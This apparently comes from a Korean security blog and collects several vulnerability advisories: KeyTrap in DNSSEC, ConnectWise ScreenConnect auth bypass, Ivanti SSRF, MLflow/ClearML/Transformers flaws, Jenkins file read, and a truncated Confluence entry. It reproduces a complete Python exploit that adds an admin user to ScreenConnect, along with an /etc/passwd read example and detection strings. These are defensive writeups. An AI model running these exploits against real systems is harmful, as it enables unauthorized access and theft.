1. 개요

- 독일 아테네국립응용사이버보안연구센터에서 DNS 보안 프로토콜 DNSSEC의 설계 결함을 악용한 KeyTrap (CVE-2023-50387) 발견 [1]
- 단일 DNS 패킷을 전송하여 서비스 거부를 유발할 수 있음
취약한 DNS의 경우 최소 170초에서 최대 16시간 동안 서비스 거부 발생

 

2. 주요내용

2.1 DNSSEC(Domain Name System Security Extension) [2][3]

- DNS는 도메인(hxxps://example[.]com)을 IP 주소(1.1.1.1)로 변환하는 역할
> 초기 설계시 보안성을 충분히 고려하지 못해 DNS 정보 위-변조가 가능하다는 문제 존재 Ex. DNS Cache Poisoning

 

- 기존 DNS 보안성을 강화하기 위해 공개키 암호화 방식의 보안기능을 추가한 DNSSEC(DNS Security Extensions) 도입
> DNS를 대체하는 것이 아님

 

2.2 KeyTrap(CVE-2023-50387) [4]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-50387

 

DNSSEC 설계 결함으로 인해 DNS 서버에 서비스 거부를 유발할 수 있는 취약점
> DNSKEY 및 RRSIG 레코드가 여러개일 경우 프로토콜 사양에 따라 모든 조합에 대한 유효성 검사를 수행

 

- 취약점과 관련된 세 가지 DNSSEC 설계 문제
① 여러 개의 서로 다른 DNS 키가 동일한 키 태그를 가질 수 있어 서명 유효성 검사 프로세스에 계산 부하 발생 가능
② 서명을 성공적으로 검증하는 키를 찾거나 모든 키가 시도될 때까지 모든 키를 시도해야 하므로(가용성 보장 목적) 계산 부하 발생 가능
③ 동일한 레코드에 여러 서명이 있는 경우 유효한 서명을 찾거나 모든 서명이 시도될 때까지 수신된 모든 서명을 검증해야 하므로, 계산 부하 발생 가능

 

- 영향받는 버전

[사진 2] 취약한 DNS 구성

 

2.2.1 SigJam (하나의 키 X 다수 서명)

DNS Resolve가 하나의 DNS 키를 사용하여 DNS 레코드에 존재하는 다수의 유효하지 않은 서명을 검증하도록 유도
> DNS Resolve가 DNSKEY로 검증할 수 있는 서명을 찾을 때까지 모든 서명을 시도하도록 설계 됨
> 공격자는 단일 DNS 응답에 340개의 서명을 작성할 수 있음
> 340개의 서명에 대한 유효성 검증을 수행한 후 DNS Reolve는 클라이언트에 SERVFAIL를 반환

 

2.2.2 LockCram (다수의 키 X 하나의 서명)

DNS Resolve가 ZSK DNSSEC키를 사용하여 DNS 레코드를 통해 하나의 서명을 검증하도록 유도
> DNS Resolve가 하나의 키가 검증되거나 모두 시도될 때까지 서명에 사용할 수 있는 모든 키를 시도하도록 설계 됨
> DNS Resolve는 서명을 검증하기 위해 모든 DNSSEC 키를 사용
> 해당 서명이 유효하지 않다고 결론을 내릴 때까지 서명이 참조하는 모든 키를 시도

 

2.2.3 KeySigTrap (다수의 키 X 다수의 서명)

SigJam과 LockCram를 결합하여 검증 과정이 2배 증가하는 공격

> 모든 키와 서명 쌍이 검증될 때까지, 가능한 모든 조합에 대해 검증을 시도

Ex. 첫 번째 ZSK를 사용해 N개 서명을 검증한 후, 두 번째 ZSK를 사용해 N개 서명을 검증하여 N번째 ZSK를 사용해 N개 서명을 검증

> 모든 조합 시도 후 레코드를 검증할 수 없다는 결론을 내리고 클라이언트에 SERVFAIL를 반환

 

2.2.4 HashTrap (다수의 키 X 다수의 해시)

- 다수의 DS 해시 레코드에 대해 충동하는 다수의 DNSKEY를 검증하기 위해 많은 해시를 계산하도록 유도

 

 

[사진 3] KeyTrap 공격에 의한 서비스 거부 시간

 

3. 대응방안

- 벤더사 제공 패치 제공
> 현재까지 나온 패치는 임시 조치
> DNSSEC 설계를 처음부터 다시 해야 문제가 해결될 것

 

- DNSSEC 기능 비활성화시 취약점이 근본적으로 사라지나 권장하지 않음
> KeyTrap 취약점을 제외하면 DNSSEC로부터 얻는 안전의 이득이 훨씬 많음

 

4. 참고

[1] https://www.athene-center.de/en/keytrap
[2] https://xn--3e0bx5euxnjje69i70af08bea817g.xn--3e0b707e/jsp/resources/dns/dnssecInfo/dnssecInfo.jsp
[3] https://medium.com/iocscan/how-dnssec-works-9c652257be0
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-50387
[5] https://www.boannews.com/media/view.asp?idx=126791
[6] https://www.boannews.com/media/view.asp?idx=126911

'취약점 > Denial of Service' 카테고리의 다른 글

CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
SLP DRDoS (CVE-2023-29552)  (0) 2023.11.13
HTTP/2 Rapid Reset DDoS (CVE-2023-44487)  (0) 2023.10.13
2009.07.07 DDoS  (0) 2023.07.06

1. ConnectWise ScreenConnect

- 원격 데스크톱 소프트웨어 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-1709 [2]

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> PoC 공개 이후 활발한 공격이 시작되어 시급한 패치 적용이 필요

> 악용에 성공한 공격자는 경로 탐색 취약점을 이용해 원격 코드 실행 가능 (CVE-2024-1708) [3]

영향받는 버전: ConnectWise ScreenConnect 23.9.8 이전 버전

 

2.1 취약점 상세 [4][5]

- Shodan 검색시 약 8,500개의 ConnectWise ScreenConnect 확인

[사진 2] Shodan 검색 화면

 

- SetupModule.cs에는 2 가지 HTTP 필터가 존재

응용 프로그램이 설정되지 않은 경우 모든 요청을 SetupWizard.aspx로 리디렉션

② 응용 프로그램이 설정된 경우 SetupWizard.aspx에 대한 요청을 거부하거나 Administration.aspx로 리디렉션

※ SetupWizard는 초기 사용자와 암호를 생성하는 역할

[사진 3] SetupModule.cs

 

- [사진 3]에서 요청 URL이 SetupWizard.aspx인지 확인하기 위해 string.Equals() 사용

> 요청 URL이 "~/SetupWizard.aspx"인 경우 True

> 하지만, 요청 URL이 "~/SetupWizard.aspx/"인 경우 False

> SetupWizard.aspx에 단순히 "/"만 추가하여도 이미 설치된 후에도 설정 마법사에 액세스할 수 있음

[사진 4] 인증 우회 및 설정 마법사 액세스

 

[사진 5] string.Equals() 결과 비교

 

2.2 CVE-2024-1708

[사진 6] https://nvd.nist.gov/vuln/detail/CVE-2024-1708

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 경로 탐색 취약점

> 영향받는 버전 상동

> 구체적인 내용은 확인되지 않으나, ZipSlip 공격을 이용한 것으로 판단

 

※ ZipSlip [6]

- 경로 탐색 구문이 포함된 압축 파일을 실행할 때 공격자가 의도한 경로로 원하는 파일을 이동시키는 공격 방법

 

2.3 PoC [7]

- /SetupWizard.aspx/ URL을 이용해 임의의 사용자 계정 생성

※ CVE-2024-1708 PoC는 확인하지 못함 (아래 공격 시연 유튜브 영상 참고)

import requests
import re
import argparse

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchtowr-vs-ConnectWise_2024-02-21.py
          - Sonny, watchTowr (sonny@watchTowr.com)
        """

helptext =  """
            Example Usage:
          - python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

			 """

parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", help="target url in the format https://localhost", default=False, action="store", required=True)
parser.add_argument("--username", help="username to add", required=False, action="store")
parser.add_argument("--password", help="password to add (must be at least 8 characters in length)", required=False, action="store")
try:
    args = parser.parse_args()
except:
    print(banner)
    print(helptext)
    raise

print(banner)


requests.urllib3.disable_warnings()


print(f"[*] Target Server: {args.url} ")
print(f"[*] Adding Username: {args.username} ")
print(f"[*] Adding Password: {args.password} ")

initial_request = requests.get(url=args.url+"/SetupWizard.aspx/",verify=False)

viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)

next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1, "__VIEWSTATEGENERATOR": viewgen_1, "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
next_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=next_data, verify=False)

exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
exploit_viewgen =  re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": args.username, "ctl00$Main$wizard$emailBox": args.username+"@poc.com", "ctl00$Main$wizard$passwordBox": args.password, "ctl00$Main$wizard$verifyPasswordBox": args.password, "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}

exploit_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=exploit_data, verify=False)

print(f"[*] Successfully added user")

 

[영상 1] 공격 시연 [8]

 

3. 대응방안

- 벤더사 제공 최신 버전 업데이트 적용 [9]

> 초기 설정이 완료된 경우 SetupWizard에 접근하지 못하도록 변경(접근시 "Already setup"를 출력하는 것으로 판단됨)

> ZIP 파일 콘텐츠를 추출할 때 더욱 엄격한 경로 유효성 검사를 수행하도록 변경

취약점 영향받는 버전 해결 버전
CVE-2024-1709 ConnectWise ScreenConnect 23.9.7 및 이전 버전 23.9.8
CVE-2024-1708

 

- /SetupWizard.aspx/ 탐지 패턴 적용

 

4. 참고

[1] https://screenconnect.connectwise.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-1709
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-1708
[4] https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
[5] https://www.horizon3.ai/attack-research/red-team/connectwise-screenconnect-auth-bypass-deep-dive/
[6] https://www.hahwul.com/cullinan/zip-slip/
[7] https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/main/watchtowr-vs-ConnectWise_2024-02-21.py
[8] https://www.youtube.com/watch?v=AWGoGO5jnvY&t=13s
[9] https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
[10] https://www.rapid7.com/blog/post/2024/02/20/etr-high-risk-vulnerabilities-in-connectwise-screenconnect/
[11] https://www.bleepingcomputer.com/news/security/screenconnect-critical-bug-now-under-attack-as-exploit-code-emerges/
[12] https://www.boannews.com/media/view.asp?idx=126959&page=1&kind=1

1. 개요

- Ivanti Connect Secure, Policy Secure에서 새로운 제로데이 취약점 발견

> 권한 상승 취약점 (CVE-2024-21888) 및 SSRF 취약점(CVE-2024-21893)

> 해당 취약점을 악용해 다수의 국내 기업들 포함 전세계 650여개 이상 기업 공격 시도

> 원격 명령 실행을 위해 백도어 DSLog를 설치하기 위해 CVE-2024-21893 악용

 

2. 취약점

2.1 CVE-2024-21888

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888

 

- 취약한 버전의 Ivanti Connect Secure, Ivanti Policy Secure에서 발생하는 권한 상승 취약점

> 웹 구성요소 권한 상승 취약점으로 인해 관리자 권한으로 권한 상승 가능 [2]

> 악용에 성공한 공격자는 SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 인증 없이 제한된 특정 리소스에 접근 가능  (CVE-2024-21893) [2]

영향받는 버전: Ivanti Connect Secure 및 Ivanti Policy Secure 9.x, 22.x

 

- 서버에 요청이 전달되기 전 URI를 테스트하여 인증 필요 여부를 확인하는 doAuthCheck() 존재

> 해당 함수에서 /dana-ws/saml20.ws 등 특정 경로의 경우 인증이 강제되지 않음

※ CVE-2023-46805: doAuthCheck()에서 /api/v1/totp/user-backup-code 경로의 경우 인증이 강제되지 않음

  if ( !memcmp(uri_path_1, "/dana-na/", 9u)
    || !memcmp(a1->uri_path, "/dana-cached/setup/", 0x13u)
    || !memcmp(a1->uri_path, "/dana-cached/sc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/hc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/cc/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/ep/", 0x10u)
    || !strncmp(uri_path1, "/dana-cached/psal/", 0x12u)
    || !strncmp(uri_path1, "/dana-cached/remediation/", 0x19u)
    || !strncmp(uri_path1, "/dana-ws/saml20.ws", 0x12u) // <--- No auth for this SAML endpoint, CVE-2024-21888
    || !strncmp(uri_path1, "/dana-ws/samlecp.ws", 0x13u)
    || !strncmp(uri_path1, "/adfs/ls", 8u)
    || !strncmp(uri_path1, "/api/v1/profiler/", 0x11u)
    || !strncmp(uri_path1, "/api/v1/cav/client/", 0x13u) && strncmp(uri_path1, "/api/v1/cav/client/auth_token", 0x1Du) )
  {
    return 1;
  }
  v18 = (const void *)getDevice(a1->dwordC);
  if ( (unsigned __int8)sub_873D0(a1->uri_path, v18) )
    return 1;
  uri_path = a1->uri_path;
  if ( !strncmp((const char *)uri_path, "/api/v1/ueba/", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/integration/", 0x14u)
    || !strncmp((const char *)uri_path, "/api/v1/dsintegration", 0x15u)
    || !strncmp((const char *)uri_path, "/api/v1/pps/action/", 0x13u)
    || !strncmp((const char *)uri_path, "/api/my-session", 0xFu)
    || !strncmp((const char *)uri_path, "/api/v1/totp/user-backup-code", 0x1Du) // CVE-2023-46805
    || !strncmp((const char *)uri_path, "/api/v1/esapdata", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/sessions", 0x10u)
    || !strncmp((const char *)uri_path, "/api/v1/tasks", 0xDu)
    || !strncmp((const char *)uri_path, "/api/v1/gateways", 0x10u)
    || !strncmp((const char *)uri_path, "/_/api/aaa", 0xAu)
    || !strncmp((const char *)uri_path, "/api/v1/oidc", 0xCu) )
  {
    return 1;
  }

 

- 웹 서버의 함수 doDispatchRequest()특정 URL에 대해 인증되지 않은 POST 요청을 백엔드 서비스 saml-server로 전달

> /dana-ws/saml.ws, /dana-ws/saml20.ws, /dana-ws/samlcp.ws 경로의 경우 인증이 수행되지 않음

> 인증되지 않은 POST 요청을 웹 서버의 DSWSMLHandler 클래스를 통해 saml-server로 디스패치

※ saml-server: /home/bin/saml-server 

  if ( !strncmp(v33, "/dana-ws/saml.ws", 0x10u)
        || !strncmp(v33, "/dana-ws/saml20.ws", 0x12u) // <--- our unauthenticated path
        || !strncmp(v33, "/dana-ws/samlecp.ws", 0x13u) )
      {
        if ( !byte_13EBE0 && __cxa_guard_acquire((__guard *)&byte_13EBE0) )
        {
          v37 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v37 = "WebRequest";
          dword_13EC54 = DSGetStatementCounter("request.cc", 5283, "doDispatchRequest", v37, 10, "Dispatching to SAML");
          __cxa_guard_release((__guard *)&byte_13EBE0);
        }
        ++*(_QWORD *)dword_13EC54;
        if ( DSLog::Debug::isOn(v76) )
        {
          v34 = "Watchdog";
          if ( !*((_BYTE *)a1 + 240) )
            v34 = "WebRequest";
          DSLog::Debug::Write(
            (DSLog::Debug *)v34,
            &byte_9[1],
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[440] + 3,
            (int)"Dispatching to SAML",
            v92);
        }
        DSCockpitCounter::updateCounter(0, 1);
        if ( !byte_13EBE8 && __cxa_guard_acquire((__guard *)&byte_13EBE8) )
        {
          dword_13EC50 = DSGetStatementCounter(
                           "request.cc",
                           5285,
                           "doDispatchRequest",
                           "WebRequest",
                           60,
                           "DSCockpitCounter Webhits Incremented");
          __cxa_guard_release((__guard *)&byte_13EBE8);
        }
        ++*(_QWORD *)dword_13EC50;
        if ( DSLog::Debug::isOn(v77) )
          DSLog::Debug::Write(
            (DSLog::Debug *)"WebRequest",
            off_3C,
            (int)"request.cc",
            (const char *)&elf_gnu_hash_chain[441] + 1,
            (int)"DSCockpitCounter Webhits Incremented",
            v92);
        DSCockpitCounter::updateCounter(4, 1);
        return sub_86980((int)a1) != 0; // <--- dispatch to saml-server via DSWSSAMLHandler
      }

 

2.2 CVE-2024-21893

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-21893 [3]

 

- SAML 구성 요소에 있는 SSRF 취약점으로 인해 공격자가 제한된 특정 리소스에 인증 없이 엑세스할 수 있는 취약점

> 영향받는 버전은 CVE-2024-21888과 동일

 

- saml-serverSOAP 요청을 포함한 모든 SAML 작업을 담당

> SoapHandler()는 모든 XML 처리를 위해 xmltooling 라이브러리를 호출

 SoapHandler()는 createXMLObjectFromSoapMessage()를 통해 들어오는 POST 요청의 콘텐츠 데이터를 XML 개체로 변환하는 함수

 

- XML 처리에 사용되는 xmltooling 라이브러리의 버전은 3.0.2

> 해당 xmltooling의 경우 최신 버전이 아니며, SSRF 취약점인 CVE-2023-36661에 영향을 받는 버전 [4][5]

> SSRF 취약점 트리거를 위해 KeyInfo의 RetrievalMethod 속성을 이용

> 해당 속성 사용시 XMLToolingFIPS.XMLObject.Signature()가 GET 요청을 통해 원격 리소스를 요청하는데 사용할 URI 지정 가능

> PoC [6]

※ CVE-2023-36661: xmltooling 3.2.4 이전 버전에서 조작된 KeyInfo 요소로 인해 발생하는 SSRF 취약점

[사진 3] RawData [7]

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8][9]

제품명 영향받는 버전 해결버전
Ivanti Connect Secure 9.x
22.x
9.1R14.4
9.1R17.2
9.1R18.3
22.4R2.2
22.5R1.1
22.5R2.2
22.6R1.3
Ivanti Policy Secure 22.5R1.1
22.6R1.3(ZTA version)

 

- "/dana-ws/saml20.ws" 탐지룰 적용

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-21888
[2] https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis?referrer=notificationEmail
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-21893
[4] https://nvd.nist.gov/vuln/detail/CVE-2023-36661
[5] https://shibboleth.net/community/advisories/secadv_20230612.txt
[6] https://github.com/h4x0r-dz/CVE-2024-21893.py
[7] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[8] https://forums.ivanti.com/s/article/CVE-2024-21888-Privilege-Escalation-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure?language=en_US
[9] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71320
[10] https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
[11] https://blog.sonicwall.com/en-us/2024/02/ivanti-server-side-request-forgery-to-auth-bypass/
[12] https://www.dailysecu.com/news/articleView.html?idxno=153513
[13] https://www.boannews.com/media/view.asp?idx=126369&page=15&kind=1
[14] https://www.boannews.com/media/view.asp?idx=126665&page=1&kind=1

1. 개요

- AI/ML 대상 버그 바운티 플랫폼 Huntr에서 AI/ML 오픈소스 플랫폼의 보안취약점 발견
- 영향을 받는 플랫폼은 MLflow, ClearML, Hugging Face Transformers로, 다양한 산업에서 사용되는 AI 솔루션

> MLflow: AI 라이프 사이클 전 과정을 관리해주는 MLOps 플랫폼
> ClearML: 다양한 사용자들이 AI 서비스를 사용 및 개발할 수 있도록 해주는 E2E MLOps 플랫폼
> Hugging Face Transformers: Hugging Face社에서 제공하는 AI 개발 라이브러리

 

1.1 MLOps [1][2]

- ML 시스템 개발, 배포, 유지보수를 효율적이고, 지속할 수 있도록 하는 업무 방식

 

2. 주요내용

AI/ML 플랫폼 CVE CVSS 설명 취약한 버전
MLflow CVE-2023-6831 [3] 10.0 - 공격자가 유효성 검사를 우회하고 서버의 모든 파일을 삭제할 수 있음 [4]
> mlflow/utils/uri.py의 verify_path_is_safe 메소드가 URL 인코딩을 올바르게 필터링하지 않아 발생
> URL 인코딩(%2E%2E)을 통해 verify_path_is_safe 메소드를 우회할 수 있음
> 악용에 성공한 공격자는 서버의 모든 파일을 삭제할 수 있음
MLflow 2.9.2 이전 버전
CVE-2024-0520 - mlflow.data 모듈의 결함으로 인해 공격자가 데이터 세트를 조작할 수 있음 [5]
응답 헤더에 "Content-Disposition" 헤더가 설정된 경우 "filename" 값을 검증 없이 최종 파일 경로를 생성
> 악용에 성공한 공격자는 업로드한 파일을 이용해 RCE를 수행할 수 있음
CVE-2023-6977 [6] - 공격자가 경로 유효성 검사 우회해 서버의 민감한 파일을 읽을 수 있음 [7]
> mlflow/utils/uri.py의 is_local_uri 메서드에서 parsed_uri.hostname() 를 사용해 경로 확인 (hostname == "." or hostname.stratwith(127.0.0.1) or hostname.startswith("localhost")) 및 우회
> 악용에 성공한 공격자는 업로드한 민감 파일에 접근해 내용을 확인할 수 있음
CVE-2023-6709 [8] 악성 레시피 구성을 로드하여 원격 명령을 실행할 수 있음 [9]
> MLflow는 jinja2 템플릿 엔진을 이용해 사용자가 제어할 수 있는 템플릿 구성 파일을 직접 로드하여 레시피 프레임워크를 구축하도록 함
> mlflow/utils/file_utils.py의 render_and_merge_yaml 메서드는 랜더링 및 합병에 샌드박스를 사용하지 않고 jinja2 라이브러리를 사용
> 악용에 성공한 사용자는 RCE를 수행할 수 있음
ClearML CVE-2023-6778 [10] 5.4 - 마크다운 편집기에 저장된 XSS 취약점
> 프로젝트 설명 및 보고서 섹션에 모두 사용되는 Markdown Editor 구성 요소에서 입력값을 적절히 삭제하지 않아 발생 [11]
> 악성 XSS 페이로드가 삽입되어 사용자 계정이 손상될 수 있음
ClearML Server 1.13.0 이전 버전
Hugging Face
Transformers
CVE-2023-7018 [12] 9.6 기능에 제한이 없어 악성 파일이 자동으로 로드되어 잠재적으로 원격 코드 실행할 수 있음 [13]
> pickle.load를 사용하여 원격 레포에서 vocab.pkl 파일을 아무런 제한 없이 자동으로 로드하기 위해 TransfoXLTokenizer를 구현
> 블랙리스트 및 기타 검사를 우회하여 감염된 모델이 로드되도록 함
> 악성 파일을 로드하여 RCE를 수행할 수 있음
Transformers 4.36 이전 버전

 

3. 조치사항

- 취약한 버전의 플랫폼 사용자의 경우 최신 패치 적용

> MLflow 2.9.2 / ClearML Server 1.13.0 / Transformers 4.36

 

4. 참고

[1] https://www.databricks.com/glossary/mlops
[2] https://jaemunbro.medium.com/mlops%EA%B0%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B3%A0-84f68e4690be
[3] https://nvd.nist.gov/vuln/detail/CVE-2023-6831
[4] https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314/
[5] https://huntr.com/bounties/93e470d7-b6f0-409b-af63-49d3e2a26dbc/
[6] https://nvd.nist.gov/vuln/detail/CVE-2023-6977
[7] https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf/
[8] https://nvd.nist.gov/vuln/detail/CVE-2023-6709
[9] https://huntr.com/bounties/9e4cc07b-6fff-421b-89bd-9445ef61d34d/
[10] https://nvd.nist.gov/vuln/detail/CVE-2023-6778
[11] https://huntr.com/bounties/5f3fffac-0358-48e6-a500-81bac13e0e2b/
[12] https://nvd.nist.gov/vuln/detail/CVE-2023-7018
[13] https://huntr.com/bounties/e1a3e548-e53a-48df-b708-9ee62140963c/

1. Jenkins [1][2]

- CI/CD(Continuous Integration/Continuous Delivery) 중 하나
- 빌드, 테스트, 배포 프로세스를 자동화하여 소프트웨어 품질 및 개발 생산성 향상에 도움을 줌

 

2. 취약점

2.1 CVE-2024-23897 [3]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-23897 [4]

 

- 취약한 버전의 Jenkins에서 인증없이 임의의 파일 내용 일부(또는 전체)를 읽어낼 수 있는 취약점

> CLI 기능 구현을 위해 사용하는 args4j 라이브러리의 명령 인수 및 옵션 파싱 부분에서 취약점이 발생

> 명령 인수 구문 분석을 용이하게 하기 위한 기능인 @ 문자와 파일 경로를 파일 내용으로 자동으로 바꾸는 CLI 기능에서 발생

> 또한, "Allow anonymous read access" 기능이 활성화 되어있는 경우 취약

> 현재 45,000개의 Jenkins 서버가 공격에 노출되어 있는 상황

- 영향받는 버전
Jenkins 2.441 이전 및 LTS 2.426.2 이전 버전

 

- Jenkins는 다양한 인증 방법을 제공

> "누구나 무엇이든 할 수 있음", "로그인한 사용자가 무엇이든 할 수 있음", "익명 읽기 엑서스 허용" 등

> "익명 읽기 엑서스 허용" 옵션은 모든 사람에게 전체 읽기 권한을 부여

[사진 2] 취약한 설정

 

- 또한, Jenkins-CLI는 사용자 지정 명령을 실행할 수 있는 내장 명령줄 인터페이스를 사용자에게 제공 [5][6]

> CLI를 호출하는 방법은 jenkins-cli.jar(웹 소켓 사용), SSH 사용한 명령 호출, hxxp://jenkins/cli?remoting=false에 POST 요청 전송의 방법이 있음

> 그 중 ExpandAtFiles()는 인수가 "@"로 시작하는지 확인 후 @ 뒤 경로에서 파일을 읽고 출력

[사진 3]  ExpandAtFiles()

 

- [사진 2] 및 [사진 3]에 의해 공격자가 원하는 임의 파일에 접근해 내용을 볼 수 있음

>  @/etc/passwd 파일을 요청할 경우 해당 파일의 내용을 반환

> 공격자가 “Overall/Read” 권한일 경우 취약 서버의 전체 파일을 읽을 수 있으며, 해당 권한이 없을 경우 파일의 처음 세 줄을 읽을 수 있음

[사진 4] 공격 예시

 

- 공개된 PoC (hxxp://jenkins/cli?remoting=false URL 이용)와 jenkins-cli.jar를 이용한 결과 비교 [7]

> PoC의 경우 Timed Out 오류 발생(원인 불명), jenkins-cli.jar의 경우 파일 내용이 노출

> [사진 2]에서 "익명 읽기 엑세스 허용" 비활성화 시 Overall/Read 권한이 없다는 에러 출력

※ hxxp://localhost:8080/jnlpJars/jenkins-cli.jar에서 다운 가능

[사진 5] PoC 결과 (위) 및 jenkins-cli.jar 결과 (아래)

 

[사진 6] 패킷 캡쳐

 

2.2 CVE-2024-23898

[사진 7] https://nvd.nist.gov/vuln/detail/CVE-2024-23898 [8]

 

- jenkins-cli.jar를 사용해 CLI 명령 실행 시 원본 유효성 검증(Jenkins-crumb(CSRF 토큰) 또는 Origin 헤더)이 없어 발생하는 취약점

> 사이트 간 웹소켓 하이재킹(CSWSH) 취약성이 발생하여 공격자가 Jenkins 컨트롤러에서 CLI 명령을 실행

> [사진 5] 중 "jenkins-cli.jar (아래)" 참고

- 영향받는 버전
Jenkins 2.441 이전 및 LTS 2.426.2 이전 버전

 

3. 대응방안

- 벤더사 제공 패치 적용 [9]

> "expandAtFiles" 기능을 비활성화하는 보안 구성을 추가하여 CVE-2024-23897을 패치

> WebSocket 엔드포인트에 원본 확인 과정을 추가해 CVE-2024-23898을 패치

> 패치가 어려운 경우 CLI에 대한 엑세스를 비활성화

취약점 영향받는 버전 패치 버전
CVE-2024-23897
CVE-2024-23898
Jenkins 2.441 이전 및 LTS 2.426.2 이전 버전 2.442와 LTS 2.426.3

 

- Jenkins 서버 외부 노출 차단 및 취약점 모니터링

탐지 문자열 URL: /cli?remoting=false
HTTP Body: help, @
※ [사진 6] 참고

 

4. 참고

[1] https://www.jenkins.io/
[2] https://onestone-note.tistory.com/38#7.%207.%C2%A0%20Jenkins%C2%A0%20%EC%8B%A4%EC%8A%B5
[3] https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/?utm_medium=social&utm_source=twitter&utm_campaign=research&utm_content=blog-excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins-240125-p1
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-23897
[5] https://www.jenkins.io/doc/book/managing/cli/
[6] https://github.com/jenkinsci/jenkins/tree/master/core/src/main/java/hudson/cli
[7] https://github.com/Vozec/CVE-2024-23897
[8] https://nvd.nist.gov/vuln/detail/CVE-2024-23898
[9] https://www.jenkins.io/security/advisory/2024-01-24/#security-3314
[10] https://www.horizon3.ai/cve-2024-23897-assessing-the-impact-of-the-jenkins-arbitrary-file-leak-vulnerability/
[11] https://devhackdebug.com/2024/01/29/cve-2024-23897-jenkins-rce-vulnerabilities/
[12] https://medium.com/@red_darkin/how-to-replicate-jenkins-cve-2024-23897-arbitrary-file-read-vulnerability-260c8174dd94
[13] https://www.bleepingcomputer.com/news/security/45k-jenkins-servers-exposed-to-rce-attacks-using-public-exploits/
[14] https://www.bleepingcomputer.com/news/security/exploits-released-for-critical-jenkins-rce-flaw-patch-now/#google_vignette
[15] https://www.boannews.com/media/view.asp?idx=126195&kind=1&search=title&find=%C1%A8%C5%B2%BD%BA
[16] https://www.boannews.com/media/view.asp?idx=126273&kind=1&search=title&find=%C1%A8%C5%B2%BD%BA

1. 개요 [1]

- 최근 해킹조직이 국내 웹사이트 공격에 소프트웨어 취약점을 악용

- 취약한 버전의 소프트웨어를 운용하는 경우 최신버전 업데이트 등 보안 조치 권고

 

2. 주요내용

2.1 Atlassian (CVE-2023-22527) [2]

- Atlassian社 Confluence Server 및 Confluence Data Center 제품 탬플릿에 OGNL 표현식을 삽입해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8) [3]

- 영향받는 버전: 8.0.x / 8.1.x / 8.2.x / 8.3.x / 8.4.x / 8.5.0 ~ 8.5.3
- 취약점은 "./confluence/confluence/template/aui/text-inline.vm"에서 발생
> #set( $labelValue = $stack.findValue("getText('$parameters.label')") )
> 매개변수를 직접 사용하여 발생하는 취약점

- PoC [4]

POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
